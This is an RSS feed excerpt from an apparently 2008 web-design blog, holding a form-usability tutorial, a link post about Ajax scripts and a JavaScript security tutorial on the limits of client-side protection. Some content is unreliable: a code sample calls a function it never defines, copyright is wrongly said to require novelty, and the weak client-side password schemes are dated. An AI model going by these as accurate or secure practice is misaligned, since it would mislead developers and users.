&nbsp; &nbsp;<span style="color: #000066; font-weight: bold;">return</span><span style="color: #339933;">;</span><br />
&nbsp;<span style="color: #009900;">&#125;</span><br />
&nbsp;<span style="color: #006600; font-style: italic;">/* End cookie-cutter code */</span><br />
&nbsp;source.<span style="color: #660066;">style</span>.<span style="color: #660066;">border</span><span style="color: #339933;">=</span><span style="color: #3366CC;">'2px solid #ccc'</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
<span style="color: #339933;">&lt;/</span>script<span style="color: #339933;">&gt;</span></div></div>
<p>The cookie-cutter code in the above deals with some cross-browser compatibility annoyances.</p>
<h1>Enhancing Text Entry Fields</h1>
<p>The most common form field is &#8230;</p>
<div class="codecolorer-container html4strict default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:500px;"><div class="html4strict codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">input</span> <span style="color: #000066;">type</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;text&quot;</span>&gt;</span></div></div>
<p>We&#8217;ve already seen how auto-focusing on this when the page loads can make a nice enhancement. A useful trick for fields containing a default value that needs to be changed is the following:</p>
<div class="codecolorer-container javascript default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:500px;"><div class="javascript codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #339933;">&lt;</span>input type<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;text&quot;</span> <span style="color: #000066;">name</span><span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;myfield&quot;</span> id<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;myfield&quot;</span> size<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;30&quot;</span><br />
&nbsp; &nbsp; &nbsp; value<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;This should be changed&quot;</span><br />
&nbsp; &nbsp; &nbsp; <span style="color: #000066;">onfocus</span><span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;this.select()&quot;</span><span style="color: #339933;">&gt;</span></div></div>
<p>When the field receives the focus, the text inside it will be instantly selected; it will be over-written the moment the user starts to enter their own text. This is also useful if the user is likely to copy and paste the text from the widget, as it saves them from having to first select it.</p>
<p>Here&#8217;s a nice trick for forms that are being used to create something that has an obvious title &#8212; for example, an email, or an article on a Website:</p>
<div class="codecolorer-container javascript default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:500px;"><div class="javascript codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #339933;">&lt;</span>input type<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;text&quot;</span> <span style="color: #000066;">name</span><span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;title&quot;</span> id<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;title&quot;</span> size<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;30&quot;</span><br />
&nbsp; &nbsp; &nbsp; onkeyup<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;document.title = 'New item: ' + this.value&quot;</span><span style="color: #339933;">&gt;</span></div></div>
<p>This creates an effect similar to many popular email programs, where the text in the title bar of the document changes as the subject of the email is typed. This could be particularly useful in an environment where multiple windows are likely to be open at once &#8212; a Webmail client, for example.</p>
<p>On a related note, sometimes the value of one form field can by initially guessed by looking at the value of another. A classic example is a content management system where each entry has a human readable title and a unique URL. The URL can default to matching the title, but with punctuation removed and spaces converted to underscores. Here&#8217;s the code to do that:</p>
<div class="codecolorer-container javascript default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:500px;"><div class="javascript codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #339933;">&lt;</span>input type<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;text&quot;</span> <span style="color: #000066;">name</span><span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;title&quot;</span> id<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;title&quot;</span> size<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;30&quot;</span><br />
&nbsp; &nbsp; &nbsp; onkeydown<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;document.getElementById('url').value =<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;this.value.replace(/[^a-z0-9 ]/ig,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;'').replace(/ /g, '_')&quot;</span><span style="color: #339933;">&gt;</span><br />
<span style="color: #339933;">&lt;</span>input type<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;text&quot;</span> <span style="color: #000066;">name</span><span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;url&quot;</span> id<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;url&quot;</span> size<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;30&quot;</span><span style="color: #339933;">&gt;</span></div></div>
<p>The critical thing here is that the user can still over-ride the guessed value for the URL if they want to by entering text directly in the field. If you just want to create a URL from a title without any intervention from the user, it&#8217;s best to do so in the server side code that processes the form.</p>
<h1>Validation</h1>
<p>Client side form validation is one of the most popular uses of JavaScript. Before we go on, I&#8217;d like to point out that if you&#8217;re building a server side application you should always check that data is valid in your server side code, whether or not you have used client side validation. Not doing this can leave your application wide open to all manner of unpleasant security problems &#8212; remember, malicious attackers know how to disable JavaScript in their browser. This point cannot be stressed enough. We now return to our regular scheduled programming&#8230;</p>
<p>Validation is a big topic, and one that has been covered extensively in tutorials all over the Web. Rather than rehash old ideas, I&#8217;m going to focus on a more usable way of validating user input. For instant feedback to the user, how about displaying an icon next to each form field that indicates whether or not that field has been correctly completed? Such an icon can be hooked straight in to the label elements we added earlier, and changed by using JavaScript to alter the label element&#8217;s class attribute.</p>
<p>Here&#8217;s a simple example for a required form field, broken down in to the CSS, the JavaScript and the HTML:</p>
<div class="codecolorer-container javascript default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:500px;"><div class="javascript codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #339933;">&lt;</span>label <span style="color: #000066; font-weight: bold;">for</span><span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;subject&quot;</span> <span style="color: #003366; font-weight: bold;">class</span><span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;required&quot;</span><span style="color: #339933;">&gt;</span>Subject<span style="color: #339933;">:&lt;/</span>label<span style="color: #339933;">&gt;</span><br />
<span style="color: #339933;">&lt;</span>input type<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;text&quot;</span> id<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;subject&quot;</span> <span style="color: #000066;">name</span><span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;subject&quot;</span> size<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;40&quot;</span><br />
&nbsp; &nbsp; &nbsp; <span style="color: #000066;">onblur</span><span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;checkRequired('subject');&quot;</span><span style="color: #339933;">&gt;</span></div></div>
<p>This is simple enough. The label element starts off with a class of &#8220;required&#8221; to visually indicate that the field is a required field. The JavaScript function checkRequired(&#8216;subject&#8217;) is called onblur, which refers to the point at which the focus moves away from the field.</p>
<div class="codecolorer-container javascript default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:500px;height:250px;"><div class="javascript codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #339933;">&lt;</span>style type<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;text/css&quot;</span><span style="color: #339933;">&gt;</span><br />
label <span style="color: #009900;">&#123;</span><br />
&nbsp;padding<span style="color: #339933;">-</span>left<span style="color: #339933;">:</span> 22px<span style="color: #339933;">;</span> <span style="color: #006600; font-style: italic;">/* To leave room for the icon */</span><br />
<span style="color: #009900;">&#125;</span><br />
label.<span style="color: #660066;">required</span> <span style="color: #009900;">&#123;</span><br />
&nbsp;background<span style="color: #339933;">-</span>image<span style="color: #339933;">:</span> url<span style="color: #009900;">&#40;</span>required.<span style="color: #660066;">gif</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp;background<span style="color: #339933;">-</span>repeat<span style="color: #339933;">:</span> no<span style="color: #339933;">-</span>repeat<span style="color: #339933;">;</span><br />
&nbsp;background<span style="color: #339933;">-</span>position<span style="color: #339933;">:</span> 3px 0px<span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
<br />
label.<span style="color: #660066;">problem</span> <span style="color: #009900;">&#123;</span><br />
&nbsp;background<span style="color: #339933;">-</span>image<span style="color: #339933;">:</span> url<span style="color: #009900;">&#40;</span>caution.<span style="color: #660066;">gif</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp;background<span style="color: #339933;">-</span>repeat<span style="color: #339933;">:</span> no<span style="color: #339933;">-</span>repeat<span style="color: #339933;">;</span><br />
&nbsp;background<span style="color: #339933;">-</span>position<span style="color: #339933;">:</span> 3px 0px<span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
label.<span style="color: #660066;">completed</span> <span style="color: #009900;">&#123;</span><br />
&nbsp;background<span style="color: #339933;">-</span>image<span style="color: #339933;">:</span> url<span style="color: #009900;">&#40;</span>complete.<span style="color: #660066;">gif</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp;background<span style="color: #339933;">-</span>repeat<span style="color: #339933;">:</span> no<span style="color: #339933;">-</span>repeat<span style="color: #339933;">;</span><br />
&nbsp;background<span style="color: #339933;">-</span>position<span style="color: #339933;">:</span> 3px 0px<span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
<span style="color: #339933;">&lt;/</span>style<span style="color: #339933;">&gt;</span></div></div>
<p>The CSS gives each label a left padding of 22 pixels. The icons we&#8217;ll use will each be 15&#215;15, which gives us a little room to spare. Special classes of required, problem and completed are defined, each with their own background icon positioned to appear in the padding to the left of the form text.</p>
<div class="codecolorer-container javascript default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:500px;"><div class="javascript codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #339933;">&lt;</span>script type<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;text/javascript&quot;</span><span style="color: #339933;">&gt;</span><br />
<span style="color: #003366; font-weight: bold;">function</span> getLabelForId<span style="color: #009900;">&#40;</span>id<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp;<span style="color: #003366; font-weight: bold;">var</span> label<span style="color: #339933;">,</span> labels <span style="color: #339933;">=</span> document.<span style="color: #660066;">getElementsByTagName</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'label'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp;<span style="color: #000066; font-weight: bold;">for</span> <span style="color: #009900;">&#40;</span><span style="color: #003366; font-weight: bold;">var</span> i <span style="color: #339933;">=</span> <span style="color: #CC0000;">0</span><span style="color: #339933;">;</span> <span style="color: #009900;">&#40;</span>label <span style="color: #339933;">=</span> labels<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> i<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp;<span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>label.<span style="color: #660066;">htmlFor</span> <span style="color: #339933;">==</span> id<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp;<span style="color: #000066; font-weight: bold;">return</span> label<span style="color: #339933;">;</span><br />
&nbsp; &nbsp;<span style="color: #009900;">&#125;</span><br />
&nbsp;<span style="color: #009900;">&#125;</span><br />
&nbsp;<span style="color: #000066; font-weight: bold;">return</span> <span style="color: #003366; font-weight: bold;">false</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
<span style="color: #003366; font-weight: bold;">function</span> checkRequired<span style="color: #009900;">&#40;</span>id<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp;<span style="color: #003366; font-weight: bold;">var</span> formfield <span style="color: #339933;">=</span> document.<span style="color: #660066;">getElementById</span><span style="color: #009900;">&#40;</span>id<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp;<span style="color: #003366; font-weight: bold;">var</span> label <span style="color: #339933;">=</span> getLabelForId<span style="color: #009900;">&#40;</span>id<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp;<span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>formfield.<span style="color: #660066;">value</span>.<span style="color: #660066;">length</span> <span style="color: #339933;">==</span> <span style="color: #CC0000;">0</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp;label.<span style="color: #660066;">className</span> <span style="color: #339933;">=</span> <span style="color: #3366CC;">'problem'</span><span style="color: #339933;">;</span><br />
&nbsp;<span style="color: #009900;">&#125;</span> <span style="color: #000066; font-weight: bold;">else</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp;label.<span style="color: #660066;">className</span> <span style="color: #339933;">=</span> <span style="color: #3366CC;">'completed'</span><span style="color: #339933;">;</span><br />
&nbsp;<span style="color: #009900;">&#125;</span><br />
<span style="color: #009900;">&#125;</span><br />
<span style="color: #339933;">&lt;/</span>script<span style="color: #339933;">&gt;</span></div></div>
<p>Here, we define two JavaScript functions: one to find the label associated with a specific ID, and another, which checks that a specified form field has something in it, and sets the associated label&#8217;s class accordingly. This is the simplest possible case for validation; additional functions can be written to cope with problems such as checking that email addresses are in a useful format. This technique could be taken even further by disabling the submit button until all the form fields have been correctly completed; however, if this is done, it is vital that the initial disabling of the submit button take place in the JavaScript, to ensure that non-JavaScript enabled browsers can still use the form.</p>
<p>The last trick I will introduce revolves around data that has a very specific format. Rather than reject a user&#8217;s input if it doesn&#8217;t match the format rules perfectly, it is sometimes possible to reformat the user&#8217;s data once they have entered it. A classic example is a form field for accepting US phone numbers. US phone numbers, when the area code is included, are exactly 10 digits long. The traditional way of displaying them is (785) 555-5555. Using JavaScript, we can take the user&#8217;s input, strip out all non-digit characters and, provided we are left with 10 digits, reformat them to look like the above example:</p>
<div class="codecolorer-container javascript default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:500px;height:250px;"><div class="javascript codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #339933;">&lt;</span>script type<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;text/javascript&quot;</span><span style="color: #339933;">&gt;</span><br />
<span style="color: #003366; font-weight: bold;">function</span> checkPhone<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp;<span style="color: #003366; font-weight: bold;">var</span> phone <span style="color: #339933;">=</span> document.<span style="color: #660066;">getElementById</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'phone'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp;<span style="color: #003366; font-weight: bold;">var</span> label <span style="color: #339933;">=</span> getLabelForId<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'phone'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp;<span style="color: #003366; font-weight: bold;">var</span> digits <span style="color: #339933;">=</span> phone.<span style="color: #660066;">value</span>.<span style="color: #660066;">replace</span><span style="color: #009900;">&#40;</span><span style="color: #009966; font-style: italic;">/[^0-9]/ig</span><span style="color: #339933;">,</span> <span style="color: #3366CC;">''</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp;<span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span>digits<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp;<span style="color: #000066; font-weight: bold;">return</span><span style="color: #339933;">;</span><br />
&nbsp;<span style="color: #009900;">&#125;</span><br />
&nbsp;<span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>digits.<span style="color: #660066;">length</span> <span style="color: #339933;">==</span> <span style="color: #CC0000;">10</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp;phone.<span style="color: #660066;">value</span> <span style="color: #339933;">=</span> <span style="color: #3366CC;">'('</span> <span style="color: #339933;">+</span> digits.<span style="color: #660066;">substring</span><span style="color: #009900;">&#40;</span><span style="color: #CC0000;">0</span><span style="color: #339933;">,</span> <span style="color: #CC0000;">3</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> <span style="color: #3366CC;">') '</span> <span style="color: #339933;">+</span><br />
&nbsp; &nbsp; &nbsp;digits.<span style="color: #660066;">substring</span><span style="color: #009900;">&#40;</span><span style="color: #CC0000;">3</span><span style="color: #339933;">,</span> <span style="color: #CC0000;">6</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> <span style="color: #3366CC;">'-'</span> <span style="color: #339933;">+</span><br />
&nbsp; &nbsp; &nbsp;digits.<span style="color: #660066;">substring</span><span style="color: #009900;">&#40;</span><span style="color: #CC0000;">6</span><span style="color: #339933;">,</span> <span style="color: #CC0000;">10</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp;<span style="color: #009900;">&#125;</span> <span style="color: #000066; font-weight: bold;">else</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp;phone.<span style="color: #660066;">value</span> <span style="color: #339933;">=</span> digits<span style="color: #339933;">;</span><br />
&nbsp;<span style="color: #009900;">&#125;</span><br />
<span style="color: #009900;">&#125;</span><br />
<span style="color: #339933;">&lt;/</span>script<span style="color: #339933;">&gt;</span><br />
<br />
&nbsp;&lt;label for=&quot;phone&quot;&gt;Phone Number:&lt;/label&gt;<br />
&lt;input type=&quot;text&quot; id=&quot;phone&quot; name=&quot;phone&quot; size=&quot;20&quot;<br />
&nbsp; &nbsp; &nbsp; onblur=&quot;handlePhone();&quot;&gt;</div></div>
<p>This technique can be taken even further to allow multiple ways of entering structured data, such as a date, with any recognised values being converted to a standard format.</p>
]]></content:encoded>
			<wfw:commentRss>http://abeontech.com/277-webdesign-simple-tricks-for-more-usable-forms/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>100 Great Ajax Scripts</title>
		<link>http://abeontech.com/122-webdesign-100-great-ajax-scripts</link>
		<comments>http://abeontech.com/122-webdesign-100-great-ajax-scripts#comments</comments>
		<pubDate>Wed, 24 Sep 2008 20:01:59 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Web Design]]></category>
		<category><![CDATA[Ajax]]></category>
		<category><![CDATA[Code]]></category>
		<category><![CDATA[Javascript]]></category>

		<guid isPermaLink="false">http://www.abeontech.com/?p=122</guid>
		<description><![CDATA[The web is changing and so is the way we posting data. If you take a look at Google, Facebook, and almost every new start up, simply posting form data is a thing of the past. You can now validate without posting, upload multiple files, change the way form elements work and much, much more. We gathered 100 of the web’s top AJAX/form related scripts. Use them to enhance your forms and impress your clients (Clients like fancy, pretty things).]]></description>
			<content:encoded><![CDATA[<p>I was googling for an ajax &#8220;contact us&#8221; form to finish off a website of mine.<br />
I found a great page with a collection of 100 ajax scripts, ranging from simple forms so complex file manager systems!</p>
<p>The page contains 100 examples suitable for any level of programmer.<br />
Each example has a live demo and source code available for download.</p>
<p><span id="more-122"></span></p>
<blockquote><p>The web is changing and so is the way we posting data. If you take a look at Google, Facebook, and almost every new start up, simply posting form data is a thing of the past. You can now validate without posting, upload multiple files, change the way form elements work and much, much more. We gathered 100 of the web’s top AJAX/form related scripts. Use them to enhance your forms and impress your clients (Clients like fancy, pretty things).</p></blockquote>
<p>[ View The Full Post at <a href="http://www.noboxmedia.com/top-100-ajax-form-related-scripts-for-2007/">NoBoxMedia</a> ]</p>
]]></content:encoded>
			<wfw:commentRss>http://abeontech.com/122-webdesign-100-great-ajax-scripts/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Javascript Security Tutorial</title>
		<link>http://abeontech.com/56-security-javascript-security-tutorial</link>
		<comments>http://abeontech.com/56-security-javascript-security-tutorial#comments</comments>
		<pubDate>Thu, 04 Sep 2008 20:24:46 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[Guide]]></category>
		<category><![CDATA[Javascript]]></category>

		<guid isPermaLink="false">http://www.abeontech.com/?p=56</guid>
		<description><![CDATA[JavaScript is designed as an open scripting language. It is not intended to replace proper security measures, and should never be used in place of proper encryption.

JavaScript has its own security model, but this is not designed to protect the Web site owner or the data passed between the browser and the server. The security model is designed to protect the user from malicious Web sites, and as a result, it enforces strict limits on what the page author is allowed to do. They may have control over their own page inside the browser, but that is where their abilities end.]]></description>
			<content:encoded><![CDATA[<p>JavaScript is designed as an open scripting language. It is not intended to replace proper security measures, and should never be used in place of proper encryption.</p>
<p>JavaScript has its own security model, but this is not designed to protect the Web site owner or the data passed between the browser and the server. The security model is designed to protect the user from malicious Web sites, and as a result, it enforces strict limits on what the page author is allowed to do. They may have control over their own page inside the browser, but that is where their abilities end.</p>
<p><span id="more-56"></span></p>
<ul>
<li> JavaScripts cannot read or write files on users&#8217; computers. They cannot create files on the server (except by communicating with a server side script that creates files for them). The only thing they can store on the user&#8217;s computer are cookies.</li>
<li> They are allowed to interact with other pages in a frameset, if those frames originate from the same Web site, but not if they originate from another Web site (the postMessage method from HTML 5 does safely extend this capability, but I will not cover that here). Some browsers will even treat different port numbers on the same server as a different Web site.</li>
<li> JavaScript cannot be used to set the value attribute of a file input, and will not be allowed to use them to upload files without permission.</li>
<li> JavaScript cannot read what locations a user has visited by reading them from the location object, although it can tell the browser to jump back or forward any number of steps through the browser history. It cannot see what other Web pages the user has open.</li>
<li> JavaScript cannot access the cookies or variables from other sites.</li>
<li> It cannot see when the user interacts with other programs, or other parts of the browser window.</li>
<li> It cannot open windows out of sight from the user or too small for the user to see, and in most browsers, it cannot close windows that it did not open.</li>
</ul>
<p>Most people who want to know about security with JavaScript are interested in producing password protected pages or sending encrypted data to or from the user&#8217;s computer. For true security, use SSL/TLS (HTTPS) and put all of your checks on the server. You could also use a security lockout if too many false attempts are made, preventing brute force cracks. JavaScript cannot replace this functionality. The problem lies in the fact that if a person can read what you are sending over the internet, they can also rewrite it. So when you think you are filling in a password to access a protected page, they have changed it so that you are actually filling in a password that will be sent to them. This requires SSL to be sure that you are protected. Still, this tutorial is about JavaScript, so I will now show you what can and cannot be done with JavaScript.</p>
<h1>Protecting the source of your scripts</h1>
<p>Oh dear. This is just not possible. Many people make futile attempts to do so, but to be honest, there is no point in trying. In fact, in many developers&#8217; opinions, there is no such thing as copyright with JavaScript, although it is theoretically possible. The point with copyright and patents is that you can only copyright or patent something completely new, a new innovation, something that has not been done or written before. You can almost guarantee that nothing you do with JavaScript will be a new innovation or even newly written. Someone will have done it before, almost certainly using the exact same algorithm with just a few variable names changed. JavaScript is just not designed for innovative programming since it just uses APIs designed by someone else to do what you are doing, and they already came up with it before you in order to invent the API. Even if you write something in a &#8216;new&#8217; way, it will still be doing something that has already been done, and if you did attempt to take things too far and take the matter to court, you would just be laughed back out of it again.</p>
<p>As for protecting what you send, JavaScript is passed in text, not compiled to a binary first, so the code is always visible. How can you stop people seeing the source when you are sending the source to each viewer? Let me walk through the problem.</p>
<p>If the source of the JavaScript is held in the page you are viewing, a simple &#8216;view source&#8217; will show you the script. Looking in the browser&#8217;s cache will show the scripts that are in header files. Of course you need to check the source first to find the name of the header file.</p>
<p>Many developers have spotted the fact that both of these methods require the &#8216;view source&#8217; to be available, so they prevent the viewer from viewing the source. They do this by preventing the context menu from appearing when the user right clicks and by removing menus by using window.open etc. Believe me, both of these are useless. You cannot stop right clicks in Opera, Safari, OmniWeb or iCab like you can in other browsers. So some people try to prevent these browsers from viewing the page by using browser sniffing. This is equally uneffective. All the viewer has to do is swich off script when they get to the page, or view the source of previous pages to find the location of the protected page. In adition, Opera, Mozilla/Firefox and Internet Explorer are all capable of running user scripts that allow the user to override restrictions made by the page.</p>
<p>Some people even try to make sure that the page is only delivered if a referrer header is sent to make sure that the user came from the right page, and is not attempting to type in a location manually. So the user can use Curl, a program that allows them to request a page with referrer header, cookies, form fields etc., and save the download to a text file.</p>
<p>Some people try to encode the script using charCodeAt or escape, but as the decoding technique is provided in the page, only simple modifications are required to make the script appear in text, not as embedded script. I have seen one set of scripts that have been &#8216;protected&#8217; by changing their variable names to completely incomprehensible names, and adding several redundant lines of incompressible code and removing all redundant spaces and linebreaks. It does not take too much work to turn this back into understandable code.</p>
<p>You may want to protect your code, but it simply is not possible. Someone who is determined will be able to find it out.</p>
<h1>Password protecting a file</h1>
<p>It is best to do this with a server side script, and an encrypted connection. But since this is JavaScript &#8230;</p>
<p>Take the following for example. I want to only allow someone to access my page if they put in the correct password. I want to provide a box for them to write it, and then I want to test if it is correct. If it is, I let them view the page. The problem is that in the source of the page, I have to write the password in the script to test what they have written. For example:</p>
<div class="codecolorer-container javascript default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:500px;"><div class="javascript codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000066; font-weight: bold;">if</span><span style="color: #009900;">&#40;</span> document.<span style="color: #660066;">forms</span><span style="color: #009900;">&#91;</span><span style="color: #CC0000;">0</span><span style="color: #009900;">&#93;</span>.<span style="color: #660066;">elements</span><span style="color: #009900;">&#91;</span><span style="color: #CC0000;">0</span><span style="color: #009900;">&#93;</span>.<span style="color: #660066;">value</span> <span style="color: #339933;">==</span> <span style="color: #3366CC;">'mypassword'</span> <span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; location.<span style="color: #660066;">href</span> <span style="color: #339933;">=</span> <span style="color: #3366CC;">'protectedpage.html'</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span></div></div>
<p>As described in the above section, you cannot protect the source of a page, especially from someone who is really determined. There is no point in trying. Once a user managed to see the source, they could see the password or the URL in plain text, or encoded, but again, that is easy to break.</p>
<p>For simple security, try this technique. Name the file to be protected whateverYourPasswordIs.html and make sure there is an index.html file in the same directory. Now use the following:</p>
<div class="codecolorer-container javascript default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:500px;"><div class="javascript codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #339933;">&lt;</span>form action<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;&quot;</span> onsubmit<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;location.href = this.elements[0].value + '.html'; return false;&quot;</span><span style="color: #339933;">&gt;</span><br />
<span style="color: #339933;">&lt;</span>input type<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;text&quot;</span><span style="color: #339933;">&gt;</span><br />
<span style="color: #339933;">&lt;</span>input type<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;submit&quot;</span> value<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;Submit&quot;</span><span style="color: #339933;">&gt;</span><br />
<span style="color: #339933;">&lt;/</span>form<span style="color: #339933;">&gt;</span></div></div>
<p>The problem with this technique is that the page is still passed in plain text across the Internet, as is the name of the page that you send. If anyone is snooping at data packets on the Internet, they can retrieve the page&#8217;s contents. In many places, packet snooping is illegal, but that does not mean that no-one does it.</p>
<p>This protection technique is known as security by obscurity, in other words, it is only secure because no-one knows it is there. If someone was determined, they would find it.</p>
<p>As a more complicated solution, try creating your own encryption technique that uses a password as an encryption key. Encrypt the contents of the file. As the page loads, use window.prompt to ask the user for a key. Try decrypting the page with their key, using document.write to write the page. If your technique is good enough, wrong passwords would only produce an incomprehensible output. With this technique, the password is never transmitted over the internet in plain text, and neither is the content. This technique could be cracked by brute force, trying every possible password until something works. Better passwords and encryption algorithms will help, but if someone was determined, they would break it. One of my readers has submitted a script to do this based on RC4 and Base64.</p>
<p>I have used both of these techniques.</p>
<h1>Encrypting data before it is sent to you</h1>
<p>Normally, this cannot be done with JavaScript using the Internet alone. You can encrypt text at the user&#8217;s end and unencrypt it at your end. The problem is that the user has to encrypt it with a password that you know so that you can unencrypt it. They would have to tell you by telephone or post. Alternatively, you could put the password in the source of the page and get the function to encrypt using that key. But this password would have to be sent over the internet in plain text. Even if you did encode it, it would not be too much work for a snooper to crack it. In fact, the encryption could even be broken with brute force techniques. So what do you do?</p>
